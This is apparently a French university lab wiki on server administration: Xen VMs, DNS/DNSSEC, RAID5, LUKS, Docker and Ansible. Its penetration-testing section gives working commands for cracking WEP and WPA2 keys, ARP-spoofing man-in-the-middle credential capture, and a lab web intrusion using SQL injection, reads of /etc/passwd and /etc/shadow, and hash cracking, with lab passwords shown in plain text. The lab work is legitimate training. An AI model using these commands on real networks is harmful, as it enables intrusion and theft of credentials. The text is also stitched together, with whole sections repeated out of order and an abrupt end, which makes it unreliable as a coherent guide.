Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

A la fin de cette partie la machine sur chassiron est capable de ping google.

==== Clés SSH ====

Génération d’une clef asymétrique :
ssh-keygen -t rsa

Installation de la clef publique sur une cible :
cat .ssh/id_rsa.pub | ssh cible "cat >> /root/.ssh/authorized_keys2"

A FINIR

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

TP sysres IMA5sc 2020/2021 G5

2020-12-20T10:35:35Z

Psanchez : /* Partie 7 */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

A la fin de cette partie la machine sur chassiron est capable de ping google.

==== Clés SSH ====

Génération d’une clef asymétrique :
ssh-keygen -t rsa

Installation de la clef publique sur une cible :
cat .ssh/id_rsa.pub | ssh cible "cat >> /root/.ssh/authorized_keys2"

A FINIR

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

